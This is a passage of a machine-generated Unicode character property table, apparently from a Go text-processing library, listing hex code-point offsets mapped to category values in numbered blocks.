0x47a8: 0x00c0, 0x47a9: 0x00c0, + 0x47ae: 0x0080, 0x47af: 0x0080, + 0x47b0: 0x00c0, 0x47b1: 0x00c0, 0x47b2: 0x00c0, 0x47b3: 0x00c0, 0x47b4: 0x00c0, 0x47b5: 0x00c0, + 0x47b6: 0x00c0, 0x47b7: 0x00c0, 0x47b8: 0x00c0, 0x47b9: 0x00c0, 0x47ba: 0x00c0, 0x47bb: 0x00c0, + 0x47bc: 0x00c0, 0x47bd: 0x00c0, 0x47be: 0x00c0, 0x47bf: 0x00c0, + // Block 0x11f, offset 0x47c0 + 0x47c0: 0x00c0, 0x47c1: 0x00c0, 0x47c2: 0x00c0, 0x47c3: 0x00c0, 0x47c4: 0x00c0, 0x47c5: 0x00c0, + 0x47c6: 0x00c0, 0x47c7: 0x00c0, 0x47c8: 0x00c0, 0x47c9: 0x00c0, 0x47ca: 0x00c0, 0x47cb: 0x00c0, + 0x47cc: 0x00c0, 0x47cd: 0x00c0, 0x47ce: 0x00c0, 0x47cf: 0x00c0, 0x47d0: 0x00c0, 0x47d1: 0x00c0, + 0x47d2: 0x00c0, 0x47d3: 0x00c0, 0x47d4: 0x00c0, 0x47d5: 0x00c0, 0x47d6: 0x00c0, 0x47d7: 0x00c0, + 0x47d8: 0x00c0, 0x47d9: 0x00c0, 0x47da: 0x00c0, 0x47db: 0x00c0, 0x47dc: 0x00c0, 0x47dd: 0x00c0, + 0x47de: 0x00c0, 0x47df: 0x00c0, 0x47e0: 0x00c0, 0x47e1: 0x00c0, 0x47e2: 0x00c0, 0x47e3: 0x00c0, + 0x47e4: 0x00c0, 0x47e5: 0x00c0, 0x47e6: 0x00c0, 0x47e7: 0x00c0, 0x47e8: 0x00c0, 0x47e9: 0x00c0, + 0x47ea: 0x00c0, 0x47eb: 0x00c0, 0x47ec: 0x00c0, 0x47ed: 0x00c0, 0x47ee: 0x00c0, 0x47ef: 0x00c0, + 0x47f0: 0x00c0, 0x47f1: 0x00c0, 0x47f2: 0x00c0, 0x47f3: 0x00c0, 0x47f4: 0x00c0, 0x47f5: 0x00c0, + 0x47f6: 0x00c0, 0x47f7: 0x00c0, 0x47f8: 0x00c0, 0x47f9: 0x00c0, 0x47fa: 0x00c0, 0x47fb: 0x00c0, + 0x47fc: 0x00c0, 0x47fd: 0x00c0, 0x47fe: 0x00c0, + // Block 0x120, offset 0x4800 + 0x4800: 0x00c0, 0x4801: 0x00c0, 0x4802: 0x00c0, 0x4803: 0x00c0, 0x4804: 0x00c0, 0x4805: 0x00c0, + 0x4806: 0x00c0, 0x4807: 0x00c0, 0x4808: 0x00c0, 0x4809: 0x00c0, + 0x4810: 0x00c0, 0x4811: 0x00c0, + 0x4812: 0x00c0, 0x4813: 0x00c0, 0x4814: 0x00c0, 0x4815: 0x00c0, 0x4816: 0x00c0, 0x4817: 0x00c0, + 0x4818: 0x00c0, 0x4819: 0x00c0, 0x481a: 0x00c0, 0x481b: 0x00c0, 0x481c: 0x00c0, 0x481d: 0x00c0, + 0x481e: 0x00c0, 0x481f: 0x00c0, 0x4820: 0x00c0, 0x4821: 0x00c0, 0x4822: 0x00c0, 0x4823: 0x00c0, + 0x4824: 0x00c0, 0x4825: 0x00c0, 0x4826: 0x00c0, 0x4827: 0x00c0, 0x4828: 0x00c0, 0x4829: 0x00c0, + 0x482a: 0x00c0, 0x482b: 0x00c0, 0x482c: 0x00c0, 0x482d: 0x00c0, + 0x4830: 0x00c3, 0x4831: 0x00c3, 0x4832: 0x00c3, 0x4833: 0x00c3, 0x4834: 0x00c3, 0x4835: 0x0080, + // Block 0x121, offset 0x4840 + 0x4840: 0x00c0, 0x4841: 0x00c0, 0x4842: 0x00c0, 0x4843: 0x00c0, 0x4844: 0x00c0, 0x4845: 0x00c0, + 0x4846: 0x00c0, 0x4847: 0x00c0, 0x4848: 0x00c0, 0x4849: 0x00c0, 0x484a: 0x00c0, 0x484b: 0x00c0, + 0x484c: 0x00c0, 0x484d: 0x00c0, 0x484e: 0x00c0, 0x484f: 0x00c0, 0x4850: 0x00c0, 0x4851: 0x00c0, + 0x4852: 0x00c0, 0x4853: 0x00c0, 0x4854: 0x00c0, 0x4855: 0x00c0, 0x4856: 0x00c0, 0x4857: 0x00c0, + 0x4858: 0x00c0, 0x4859: 0x00c0, 0x485a: 0x00c0, 0x485b: 0x00c0, 0x485c: 0x00c0, 0x485d: 0x00c0, + 0x485e: 0x00c0, 0x485f: 0x00c0, 0x4860: 0x00c0, 0x4861: 0x00c0, 0x4862: 0x00c0, 0x4863: 0x00c0, + 0x4864: 0x00c0, 0x4865: 0x00c0, 0x4866: 0x00c0, 0x4867: 0x00c0, 0x4868: 0x00c0, 0x4869: 0x00c0, + 0x486a: 0x00c0, 0x486b: 0x00c0, 0x486c: 0x00c0, 0x486d: 0x00c0, 0x486e: 0x00c0, 0x486f: 0x00c0, + 0x4870: 0x00c3, 0x4871: 0x00c3, 0x4872: 0x00c3, 0x4873: 0x00c3, 0x4874: 0x00c3, 0x4875: 0x00c3, + 0x4876: 0x00c3, 0x4877: 0x0080, 0x4878: 0x0080, 0x4879: 0x0080, 0x487a: 0x0080, 0x487b: 0x0080, + 0x487c: 0x0080, 0x487d: 0x0080, 0x487e: 0x0080, 0x487f: 0x0080, + // Block 0x122, offset 0x4880 + 0x4880: 0x00c0, 0x4881: 0x00c0, 0x4882: 0x00c0, 0x4883: 0x00c0, 0x4884: 0x0080, 0x4885: 0x0080, + 0x4890: 0x00c0, 0x4891: 0x00c0, + 0x4892: 0x00c0, 0x4893: 0x00c0, 0x4894: 0x00c0, 0x4895: 0x00c0, 0x4896: 0x00c0, 0x4897: 0x00c0, + 0x4898: 0x00c0, 0x4899: 0x00c0, 0x489b: 0x0080, 0x489c: 0x0080, 0x489d: 0x0080, + 0x489e: 0x0080, 0x489f: 0x0080, 0x48a0: 0x0080, 0x48a1: 0x0080, 0x48a3: 0x00c0, + 0x48a4: 0x00c0, 0x48a5: 0x00c0, 0x48a6: 0x00c0, 0x48a7: 0x00c0, 0x48a8: 0x00c0, 0x48a9: 0x00c0, + 0x48aa: 0x00c0, 0x48ab: 0x00c0, 0x48ac: 0x00c0, 0x48ad: 0x00c0, 0x48ae: 0x00c0, 0x48af: 0x00c0, + 0x48b0: 0x00c0, 0x48b1: 0x00c0, 0x48b2: 0x00c0, 0x48b3: 0x00c0, 0x48b4: 0x00c0, 0x48b5: 0x00c0, + 0x48b6: 0x00c0, 0x48b7: 0x00c0, + 0x48bd: 0x00c0, 0x48be: 0x00c0, 0x48bf: 0x00c0, + // Block 0x123, offset 0x48c0 + 0x48c0: 0x00c0, 0x48c1: 0x00c0, 0x48c2: 0x00c0, 0x48c3: 0x00c0, 0x48c4: 0x00c0, 0x48c5: 0x00c0, + 0x48c6: 0x00c0, 0x48c7: 0x00c0, 0x48c8: 0x00c0, 0x48c9: 0x00c0, 0x48ca: 0x00c0, 0x48cb: 0x00c0, + 0x48cc: 0x00c0, 0x48cd: 0x00c0, 0x48ce: 0x00c0, 0x48cf: 0x00c0, + // Block 0x124, offset 0x4900 + 0x4900: 0x0080, 0x4901: 0x0080, 0x4902: 0x0080, 0x4903: 0x0080, 0x4904: 0x0080, 0x4905: 0x0080, + 0x4906: 0x0080, 0x4907: 0x0080, 0x4908: 0x0080, 0x4909: 0x0080, 0x490a: 0x0080, 0x490b: 0x0080, + 0x490c: 0x0080, 0x490d: 0x0080, 0x490e: 0x0080, 0x490f: 0x0080, 0x4910: 0x0080, 0x4911: 0x0080, + 0x4912: 0x0080, 0x4913: 0x0080, 0x4914: 0x0080, 0x4915: 0x0080, 0x4916: 0x0080, 0x4917: 0x0080, + 0x4918: 0x0080, 0x4919: 0x0080, 0x491a: 0x0080, + // Block 0x125, offset 0x4940 + 0x4940: 0x00c0, 0x4941: 0x00c0, 0x4942: 0x00c0, 0x4943: 0x00c0, 0x4944: 0x00c0, 0x4945: 0x00c0, + 0x4946: 0x00c0, 0x4947: 0x00c0, 0x4948: 0x00c0, 0x4949: 0x00c0, 0x494a: 0x00c0, + 0x494f: 0x00c3, 0x4950: 0x00c0, 0x4951: 0x00c0, + 0x4952: 0x00c0, 0x4953: 0x00c0, 0x4954: 0x00c0, 0x4955: 0x00c0, 0x4956: 0x00c0, 0x4957: 0x00c0, + 0x4958: 0x00c0, 0x4959: 0x00c0, 0x495a: 0x00c0, 0x495b: 0x00c0, 0x495c: 0x00c0, 0x495d: 0x00c0, + 0x495e: 0x00c0, 0x495f: 0x00c0, 0x4960: 0x00c0, 0x4961: 0x00c0, 0x4962: 0x00c0, 0x4963: 0x00c0, + 0x4964: 0x00c0, 0x4965: 0x00c0, 0x4966: 0x00c0, 0x4967: 0x00c0, 0x4968: 0x00c0, 0x4969: 0x00c0, + 0x496a: 0x00c0, 0x496b: 0x00c0, 0x496c: 0x00c0, 0x496d: 0x00c0, 0x496e: 0x00c0, 0x496f: 0x00c0, + 0x4970: 0x00c0, 0x4971: 0x00c0, 0x4972: 0x00c0, 0x4973: 0x00c0, 0x4974: 0x00c0, 0x4975: 0x00c0, + 0x4976: 0x00c0, 0x4977: 0x00c0, 0x4978: 0x00c0, 0x4979: 0x00c0, 0x497a: 0x00c0, 0x497b: 0x00c0, + 0x497c: 0x00c0, 0x497d: 0x00c0, 0x497e: 0x00c0, 0x497f: 0x00c0, + // Block 0x126, offset 0x4980 + 0x4980: 0x00c0, 0x4981: 0x00c0, 0x4982: 0x00c0, 0x4983: 0x00c0, 0x4984: 0x00c0, 0x4985: 0x00c0, + 0x4986: 0x00c0, 0x4987: 0x00c0, + 0x498f: 0x00c3, 0x4990: 0x00c3, 0x4991: 0x00c3, + 0x4992: 0x00c3, 0x4993: 0x00c0, 0x4994: 0x00c0, 0x4995: 0x00c0, 0x4996: 0x00c0, 0x4997: 0x00c0, + 0x4998: 0x00c0, 0x4999: 0x00c0, 0x499a: 0x00c0, 0x499b: 0x00c0, 0x499c: 0x00c0, 0x499d: 0x00c0, + 0x499e: 0x00c0, 0x499f: 0x00c0, + // Block 0x127, offset 0x49c0 + 0x49e0: 0x00c0, 0x49e1: 0x00c0, 0x49e2: 0x008c, 0x49e3: 0x00cc, + 0x49e4: 0x00c3, + 0x49f0: 0x00cc, 0x49f1: 0x00cc, + // Block 0x128, offset 0x4a00 + 0x4a00: 0x00c0, 0x4a01: 0x00c0, 0x4a02: 0x00c0, 0x4a03: 0x00c0, 0x4a04: 0x00c0, 0x4a05: 0x00c0, + 0x4a06: 0x00c0, 0x4a07: 0x00c0, 0x4a08: 0x00c0, 0x4a09: 0x00c0, 0x4a0a: 0x00c0, 0x4a0b: 0x00c0, + 0x4a0c: 0x00c0, 0x4a0d: 0x00c0, 0x4a0e: 0x00c0, 0x4a0f: 0x00c0, 0x4a10: 0x00c0, 0x4a11: 0x00c0, + 0x4a12: 0x00c0, 0x4a13: 0x00c0, 0x4a14: 0x00c0, 0x4a15: 0x00c0, 0x4a16: 0x00c0, 0x4a17: 0x00c0, + 0x4a18: 0x00c0, 0x4a19: 0x00c0, 0x4a1a: 0x00c0, 0x4a1b: 0x00c0, 0x4a1c: 0x00c0, 0x4a1d: 0x00c0, + 0x4a1e: 0x00c0, 0x4a1f: 0x00c0, 0x4a20: 0x00c0, 0x4a21: 0x00c0, 0x4a22: 0x00c0, 0x4a23: 0x00c0, + 0x4a24: 0x00c0, 0x4a25: 0x00c0, 0x4a26: 0x00c0, 0x4a27: 0x00c0, 0x4a28: 0x00c0, 0x4a29: 0x00c0, + 0x4a2a: 0x00c0, 0x4a2b: 0x00c0, 0x4a2c: 0x00c0, 0x4a2d: 0x00c0, 0x4a2e: 0x00c0, 0x4a2f: 0x00c0, + 0x4a30: 0x00c0, 0x4a31: 0x00c0, 0x4a32: 0x00c0, 0x4a33: 0x00c0, 0x4a34: 0x00c0, 0x4a35: 0x00c0, + 0x4a36: 0x00c0, 0x4a37: 0x00c0, + // Block 0x129, offset 0x4a40 + 0x4a40: 0x00c0, 0x4a41: 0x00c0, 0x4a42: 0x00c0, 0x4a43: 0x00c0, 0x4a44: 0x00c0, 0x4a45: 0x00c0, + 0x4a46: 0x00c0, 0x4a47: 0x00c0, 0x4a48: 0x00c0, 0x4a49: 0x00c0, 0x4a4a: 0x00c0, 0x4a4b: 0x00c0, + 0x4a4c: 0x00c0, 0x4a4d: 0x00c0, 0x4a4e: 0x00c0, 0x4a4f: 0x00c0, 0x4a50: 0x00c0, 0x4a51: 0x00c0, + 0x4a52: 0x00c0, 0x4a53: 0x00c0, 0x4a54: 0x00c0, 0x4a55: 0x00c0, + // Block 0x12a, offset 0x4a80 + 0x4ab0: 0x00cc, 0x4ab1: 0x00cc, 0x4ab2: 0x00cc, 0x4ab3: 0x00cc, 0x4ab5: 0x00cc, + 0x4ab6: 0x00cc, 0x4ab7: 0x00cc, 0x4ab8: 0x00cc, 0x4ab9: 0x00cc, 0x4aba: 0x00cc, 0x4abb: 0x00cc, + 0x4abd: 0x00cc, 0x4abe: 0x00cc, + // Block 0x12b, offset 0x4ac0 + 0x4ac0: 0x00cc, 0x4ac1: 0x00cc, 0x4ac2: 0x00cc, 0x4ac3: 0x00cc, 0x4ac4: 0x00cc, 0x4ac5: 0x00cc, + 0x4ac6: 0x00cc, 0x4ac7: 0x00cc, 0x4ac8: 0x00cc, 0x4ac9: 0x00cc, 0x4aca: 0x00cc, 0x4acb: 0x00cc, + 0x4acc: 0x00cc, 0x4acd: 0x00cc, 0x4ace: 0x00cc, 0x4acf: 0x00cc, 0x4ad0: 0x00cc, 0x4ad1: 0x00cc, + 0x4ad2: 0x00cc, 0x4ad3: 0x00cc, 0x4ad4: 0x00cc, 0x4ad5: 0x00cc, 0x4ad6: 0x00cc, 0x4ad7: 0x00cc, + 0x4ad8: 0x00cc, 0x4ad9: 0x00cc, 0x4ada: 0x00cc, 0x4adb: 0x00cc, 0x4adc: 0x00cc, 0x4add: 0x00cc, + 0x4ade: 0x00cc, 0x4adf: 0x00cc, 0x4ae0: 0x00cc, 0x4ae1: 0x00cc, 0x4ae2: 0x00cc, + 0x4af2: 0x00cc, + // Block 0x12c, offset 0x4b00 + 0x4b10: 0x00cc, 0x4b11: 0x00cc, + 0x4b12: 0x00cc, 0x4b15: 0x00cc, + 0x4b24: 0x00cc, 0x4b25: 0x00cc, 0x4b26: 0x00cc, 0x4b27: 0x00cc, + 0x4b30: 0x00c0, 0x4b31: 0x00c0, 0x4b32: 0x00c0, 0x4b33: 0x00c0, 0x4b34: 0x00c0, 0x4b35: 0x00c0, + 0x4b36: 0x00c0, 0x4b37: 0x00c0, 0x4b38: 0x00c0, 0x4b39: 0x00c0, 0x4b3a: 0x00c0, 0x4b3b: 0x00c0, + 0x4b3c: 0x00c0, 0x4b3d: 0x00c0, 0x4b3e: 0x00c0, 0x4b3f: 0x00c0, + // Block 0x12d, offset 0x4b40 + 0x4b40: 0x00c0, 0x4b41: 0x00c0, 0x4b42: 0x00c0, 0x4b43: 0x00c0, 0x4b44: 0x00c0, 0x4b45: 0x00c0, + 0x4b46: 0x00c0, 0x4b47: 0x00c0, 0x4b48: 0x00c0, 0x4b49: 0x00c0, 0x4b4a: 0x00c0, 0x4b4b: 0x00c0, + 0x4b4c: 0x00c0, 0x4b4d: 0x00c0, 0x4b4e: 0x00c0, 0x4b4f: 0x00c0, 0x4b50: 0x00c0, 0x4b51: 0x00c0, + 0x4b52: 0x00c0, 0x4b53: 0x00c0, 0x4b54: 0x00c0, 0x4b55: 0x00c0, 0x4b56: 0x00c0, 0x4b57: 0x00c0, + 0x4b58: 0x00c0, 0x4b59: 0x00c0, 0x4b5a: 0x00c0, 0x4b5b: 0x00c0, 0x4b5c: 0x00c0, 0x4b5d: 0x00c0, + 0x4b5e: 0x00c0, 0x4b5f: 0x00c0, 0x4b60: 0x00c0, 0x4b61: 0x00c0, 0x4b62: 0x00c0, 0x4b63: 0x00c0, + 0x4b64: 0x00c0, 0x4b65: 0x00c0, 0x4b66: 0x00c0, 0x4b67: 0x00c0, 0x4b68: 0x00c0, 0x4b69: 0x00c0, + 0x4b6a: 0x00c0, 0x4b6b: 0x00c0, 0x4b6c: 0x00c0, 0x4b6d: 0x00c0, 0x4b6e: 0x00c0, 0x4b6f: 0x00c0, + 0x4b70: 0x00c0, 0x4b71: 0x00c0, 0x4b72: 0x00c0, 0x4b73: 0x00c0, 0x4b74: 0x00c0, 0x4b75: 0x00c0, + 0x4b76: 0x00c0, 0x4b77: 0x00c0, 0x4b78: 0x00c0, 0x4b79: 0x00c0, 0x4b7a: 0x00c0, 0x4b7b: 0x00c0, + // Block 0x12e, offset 0x4b80 + 0x4b80: 0x00c0, 0x4b81: 0x00c0, 0x4b82: 0x00c0, 0x4b83: 0x00c0, 0x4b84: 0x00c0, 0x4b85: 0x00c0, + 0x4b86: 0x00c0, 0x4b87: 0x00c0, 0x4b88: 0x00c0, 0x4b89: 0x00c0, 0x4b8a: 0x00c0, 0x4b8b: 0x00c0, + 0x4b8c: 0x00c0, 0x4b8d: 0x00c0, 0x4b8e: 0x00c0, 0x4b8f: 0x00c0, 0x4b90: 0x00c0, 0x4b91: 0x00c0, + 0x4b92: 0x00c0, 0x4b93: 0x00c0, 0x4b94: 0x00c0, 0x4b95: 0x00c0, 0x4b96: 0x00c0, 0x4b97: 0x00c0, + 0x4b98: 0x00c0, 0x4b99: 0x00c0, 0x4b9a: 0x00c0, 0x4b9b: 0x00c0, 0x4b9c: 0x00c0, 0x4b9d: 0x00c0, + 0x4b9e: 0x00c0, 0x4b9f: 0x00c0, 0x4ba0: 0x00c0, 0x4ba1: 0x00c0, 0x4ba2: 0x00c0, 0x4ba3: 0x00c0, + 0x4ba4: 0x00c0, 0x4ba5: 0x00c0, 0x4ba6: 0x00c0, 0x4ba7: 0x00c0, 0x4ba8: 0x00c0, 0x4ba9: 0x00c0, + 0x4baa: 0x00c0, + 0x4bb0: 0x00c0, 0x4bb1: 0x00c0, 0x4bb2: 0x00c0, 0x4bb3: 0x00c0, 0x4bb4: 0x00c0, 0x4bb5: 0x00c0, + 0x4bb6: 0x00c0, 0x4bb7: 0x00c0, 0x4bb8: 0x00c0, 0x4bb9: 0x00c0, 0x4bba: 0x00c0, 0x4bbb: 0x00c0, + 0x4bbc: 0x00c0, + // Block 0x12f, offset 0x4bc0 + 0x4bc0: 0x00c0, 0x4bc1: 0x00c0, 0x4bc2: 0x00c0, 0x4bc3: 0x00c0, 0x4bc4: 0x00c0, 0x4bc5: 0x00c0, + 0x4bc6: 0x00c0, 0x4bc7: 0x00c0, 0x4bc8: 0x00c0, + 0x4bd0: 0x00c0, 0x4bd1: 0x00c0, + 0x4bd2: 0x00c0, 0x4bd3: 0x00c0, 0x4bd4: 0x00c0, 0x4bd5: 0x00c0, 0x4bd6: 0x00c0, 0x4bd7: 0x00c0, + 0x4bd8: 0x00c0, 0x4bd9: 0x00c0, 0x4bdc: 0x0080, 0x4bdd: 0x00c3, + 0x4bde: 0x00c3, 0x4bdf: 0x0080, 0x4be0: 0x0040, 0x4be1: 0x0040, 0x4be2: 0x0040, 0x4be3: 0x0040, + // Block 0x130, offset 0x4c00 + 0x4c00: 0x00c3, 0x4c01: 0x00c3, 0x4c02: 0x00c3, 0x4c03: 0x00c3, 0x4c04: 0x00c3, 0x4c05: 0x00c3, + 0x4c06: 0x00c3, 0x4c07: 0x00c3, 0x4c08: 0x00c3, 0x4c09: 0x00c3, 0x4c0a: 0x00c3, 0x4c0b: 0x00c3, + 0x4c0c: 0x00c3, 0x4c0d: 0x00c3, 0x4c0e: 0x00c3, 0x4c0f: 0x00c3, 0x4c10: 0x00c3, 0x4c11: 0x00c3, + 0x4c12: 0x00c3, 0x4c13: 0x00c3, 0x4c14: 0x00c3, 0x4c15: 0x00c3, 0x4c16: 0x00c3, 0x4c17: 0x00c3, + 0x4c18: 0x00c3, 0x4c19: 0x00c3, 0x4c1a: 0x00c3, 0x4c1b: 0x00c3, 0x4c1c: 0x00c3, 0x4c1d: 0x00c3, + 0x4c1e: 0x00c3, 0x4c1f: 0x00c3, 0x4c20: 0x00c3, 0x4c21: 0x00c3, 0x4c22: 0x00c3, 0x4c23: 0x00c3, + 0x4c24: 0x00c3, 0x4c25: 0x00c3, 0x4c26: 0x00c3, 0x4c27: 0x00c3, 0x4c28: 0x00c3, 0x4c29: 0x00c3, + 0x4c2a: 0x00c3, 0x4c2b: 0x00c3, 0x4c2c: 0x00c3, 0x4c2d: 0x00c3, + 0x4c30: 0x00c3, 0x4c31: 0x00c3, 0x4c32: 0x00c3, 0x4c33: 0x00c3, 0x4c34: 0x00c3, 0x4c35: 0x00c3, + 0x4c36: 0x00c3, 0x4c37: 0x00c3, 0x4c38: 0x00c3, 0x4c39: 0x00c3, 0x4c3a: 0x00c3, 0x4c3b: 0x00c3, + 0x4c3c: 0x00c3, 0x4c3d: 0x00c3, 0x4c3e: 0x00c3, 0x4c3f: 0x00c3, + // Block 0x131, offset 0x4c40 + 0x4c40: 0x00c3, 0x4c41: 0x00c3, 0x4c42: 0x00c3, 0x4c43: 0x00c3, 0x4c44: 0x00c3, 0x4c45: 0x00c3, + 0x4c46: 0x00c3, + 0x4c50: 0x0080, 0x4c51: 0x0080, + 0x4c52: 0x0080, 0x4c53: 0x0080, 0x4c54: 0x0080, 0x4c55: 0x0080, 0x4c56: 0x0080, 0x4c57: 0x0080, + 0x4c58: 0x0080, 0x4c59: 0x0080, 0x4c5a: 0x0080, 0x4c5b: 0x0080, 0x4c5c: 0x0080, 0x4c5d: 0x0080, + 0x4c5e: 0x0080, 0x4c5f: 0x0080, 0x4c60: 0x0080, 0x4c61: 0x0080, 0x4c62: 0x0080, 0x4c63: 0x0080, + 0x4c64: 0x0080, 0x4c65: 0x0080, 0x4c66: 0x0080, 0x4c67: 0x0080, 0x4c68: 0x0080, 0x4c69: 0x0080, + 0x4c6a: 0x0080, 0x4c6b: 0x0080, 0x4c6c: 0x0080, 0x4c6d: 0x0080, 0x4c6e: 0x0080, 0x4c6f: 0x0080, + 0x4c70: 0x0080, 0x4c71: 0x0080, 0x4c72: 0x0080, 0x4c73: 0x0080, 0x4c74: 0x0080, 0x4c75: 0x0080, + 0x4c76: 0x0080, 0x4c77: 0x0080, 0x4c78: 0x0080, 0x4c79: 0x0080, 0x4c7a: 0x0080, 0x4c7b: 0x0080, + 0x4c7c: 0x0080, 0x4c7d: 0x0080, 0x4c7e: 0x0080, 0x4c7f: 0x0080, + // Block 0x132, offset 0x4c80 + 0x4c80: 0x0080, 0x4c81: 0x0080, 0x4c82: 0x0080, 0x4c83: 0x0080, + // Block 0x133, offset 0x4cc0 + 0x4cc0: 0x0080, 0x4cc1: 0x0080, 0x4cc2: 0x0080, 0x4cc3: 0x0080, 0x4cc4: 0x0080, 0x4cc5: 0x0080, + 0x4cc6: 0x0080, 0x4cc7: 0x0080, 0x4cc8: 0x0080, 0x4cc9: 0x0080, 0x4cca: 0x0080, 0x4ccb: 0x0080, + 0x4ccc: 0x0080, 0x4ccd: 0x0080, 0x4cce: 0x0080, 0x4ccf: 0x0080, 0x4cd0: 0x0080, 0x4cd1: 0x0080, + 0x4cd2: 0x0080, 0x4cd3: 0x0080, 0x4cd4: 0x0080, 0x4cd5: 0x0080, 0x4cd6: 0x0080, 0x4cd7: 0x0080, + 0x4cd8: 0x0080, 0x4cd9: 0x0080, 0x4cda: 0x0080, 0x4cdb: 0x0080, 0x4cdc: 0x0080, 0x4cdd: 0x0080, + 0x4cde: 0x0080, 0x4cdf: 0x0080, 0x4ce0: 0x0080, 0x4ce1: 0x0080, 0x4ce2: 0x0080, 0x4ce3: 0x0080, + 0x4ce4: 0x0080, 0x4ce5: 0x0080, 0x4ce6: 0x0080, 0x4ce7: 0x0080, 0x4ce8: 0x0080, 0x4ce9: 0x0080, + 0x4cea: 0x0080, 0x4ceb: 0x0080, 0x4cec: 0x0080, 0x4ced: 0x0080, 0x4cee: 0x0080, 0x4cef: 0x0080, + 0x4cf0: 0x0080, 0x4cf1: 0x0080, 0x4cf2: 0x0080, 0x4cf3: 0x0080, 0x4cf4: 0x0080, 0x4cf5: 0x0080, + // Block 0x134, offset 0x4d00 + 0x4d00: 0x0080, 0x4d01: 0x0080, 0x4d02: 0x0080, 0x4d03: 0x0080, 0x4d04: 0x0080, 0x4d05: 0x0080, + 0x4d06: 0x0080, 0x4d07: 0x0080, 0x4d08: 0x0080, 0x4d09: 0x0080, 0x4d0a: 0x0080, 0x4d0b: 0x0080, + 0x4d0c: 0x0080, 0x4d0d: 0x0080, 0x4d0e: 0x0080, 0x4d0f: 0x0080, 0x4d10: 0x0080, 0x4d11: 0x0080, + 0x4d12: 0x0080, 0x4d13: 0x0080, 0x4d14: 0x0080, 0x4d15: 0x0080, 0x4d16: 0x0080, 0x4d17: 0x0080, + 0x4d18: 0x0080, 0x4d19: 0x0080, 0x4d1a: 0x0080, 0x4d1b: 0x0080, 0x4d1c: 0x0080, 0x4d1d: 0x0080, + 0x4d1e: 0x0080, 0x4d1f: 0x0080, 0x4d20: 0x0080, 0x4d21: 0x0080, 0x4d22: 0x0080, 0x4d23: 0x0080, + 0x4d24: 0x0080, 0x4d25: 0x0080, 0x4d26: 0x0080, 0x4d29: 0x0080, + 0x4d2a: 0x0080, 0x4d2b: 0x0080, 0x4d2c: 0x0080, 0x4d2d: 0x0080, 0x4d2e: 0x0080, 0x4d2f: 0x0080, + 0x4d30: 0x0080, 0x4d31: 0x0080, 0x4d32: 0x0080, 0x4d33: 0x0080, 0x4d34: 0x0080, 0x4d35: 0x0080, + 0x4d36: 0x0080, 0x4d37: 0x0080, 0x4d38: 0x0080, 0x4d39: 0x0080, 0x4d3a: 0x0080, 0x4d3b: 0x0080, + 0x4d3c: 0x0080, 0x4d3d: 0x0080, 0x4d3e: 0x0080, 0x4d3f: 0x0080, + // Block 0x135, offset 0x4d40 + 0x4d40: 0x0080, 0x4d41: 0x0080, 0x4d42: 0x0080, 0x4d43: 0x0080, 0x4d44: 0x0080, 0x4d45: 0x0080, + 0x4d46: 0x0080, 0x4d47: 0x0080, 0x4d48: 0x0080, 0x4d49: 0x0080, 0x4d4a: 0x0080, 0x4d4b: 0x0080, + 0x4d4c: 0x0080, 0x4d4d: 0x0080, 0x4d4e: 0x0080, 0x4d4f: 0x0080, 0x4d50: 0x0080, 0x4d51: 0x0080, + 0x4d52: 0x0080, 0x4d53: 0x0080, 0x4d54: 0x0080, 0x4d55: 0x0080, 0x4d56: 0x0080, 0x4d57: 0x0080, + 0x4d58: 0x0080, 0x4d59: 0x0080, 0x4d5a: 0x0080, 0x4d5b: 0x0080, 0x4d5c: 0x0080, 0x4d5d: 0x0080, + 0x4d5e: 0x0080, 0x4d5f: 0x0080, 0x4d60: 0x0080, 0x4d61: 0x0080, 0x4d62: 0x0080, 0x4d63: 0x0080, + 0x4d64: 0x0080, 0x4d65: 0x00c0, 0x4d66: 0x00c0, 0x4d67: 0x00c3, 0x4d68: 0x00c3, 0x4d69: 0x00c3, + 0x4d6a: 0x0080, 0x4d6b: 0x0080, 0x4d6c: 0x0080, 0x4d6d: 0x00c0, 0x4d6e: 0x00c0, 0x4d6f: 0x00c0, + 0x4d70: 0x00c0, 0x4d71: 0x00c0, 0x4d72: 0x00c0, 0x4d73: 0x0040, 0x4d74: 0x0040, 0x4d75: 0x0040, + 0x4d76: 0x0040, 0x4d77: 0x0040, 0x4d78: 0x0040, 0x4d79: 0x0040, 0x4d7a: 0x0040, 0x4d7b: 0x00c3, + 0x4d7c: 0x00c3, 0x4d7d: 0x00c3, 0x4d7e: 0x00c3, 0x4d7f: 0x00c3, + // Block 0x136, offset 0x4d80 + 0x4d80: 0x00c3, 0x4d81: 0x00c3, 0x4d82: 0x00c3, 0x4d83: 0x0080, 0x4d84: 0x0080, 0x4d85: 0x00c3, + 0x4d86: 0x00c3, 0x4d87: 0x00c3, 0x4d88: 0x00c3, 0x4d89: 0x00c3, 0x4d8a: 0x00c3, 0x4d8b: 0x00c3, + 0x4d8c: 0x0080, 0x4d8d: 0x0080, 0x4d8e: 0x0080, 0x4d8f: 0x0080, 0x4d90: 0x0080, 0x4d91: 0x0080, + 0x4d92: 0x0080, 0x4d93: 0x0080, 0x4d94: 0x0080, 0x4d95: 0x0080, 0x4d96: 0x0080, 0x4d97: 0x0080, + 0x4d98: 0x0080, 0x4d99: 0x0080, 0x4d9a: 0x0080, 0x4d9b: 0x0080, 0x4d9c: 0x0080, 0x4d9d: 0x0080, + 0x4d9e: 0x0080, 0x4d9f: 0x0080, 0x4da0: 0x0080, 0x4da1: 0x0080, 0x4da2: 0x0080, 0x4da3: 0x0080, + 0x4da4: 0x0080, 0x4da5: 0x0080, 0x4da6: 0x0080, 0x4da7: 0x0080, 0x4da8: 0x0080, 0x4da9: 0x0080, + 0x4daa: 0x00c3, 0x4dab: 0x00c3, 0x4dac: 0x00c3, 0x4dad: 0x00c3, 0x4dae: 0x0080, 0x4daf: 0x0080, + 0x4db0: 0x0080, 0x4db1: 0x0080, 0x4db2: 0x0080, 0x4db3: 0x0080, 0x4db4: 0x0080, 0x4db5: 0x0080, + 0x4db6: 0x0080, 0x4db7: 0x0080, 0x4db8: 0x0080, 0x4db9: 0x0080, 0x4dba: 0x0080, 0x4dbb: 0x0080, + 0x4dbc: 0x0080, 0x4dbd: 0x0080, 0x4dbe: 0x0080, 0x4dbf: 0x0080, + // Block 0x137, offset 0x4dc0 + 0x4dc0: 0x0080, 0x4dc1: 0x0080, 0x4dc2: 0x0080, 0x4dc3: 0x0080, 0x4dc4: 0x0080, 0x4dc5: 0x0080, + 0x4dc6: 0x0080, 0x4dc7: 0x0080, 0x4dc8: 0x0080, 0x4dc9: 0x0080, 0x4dca: 0x0080, 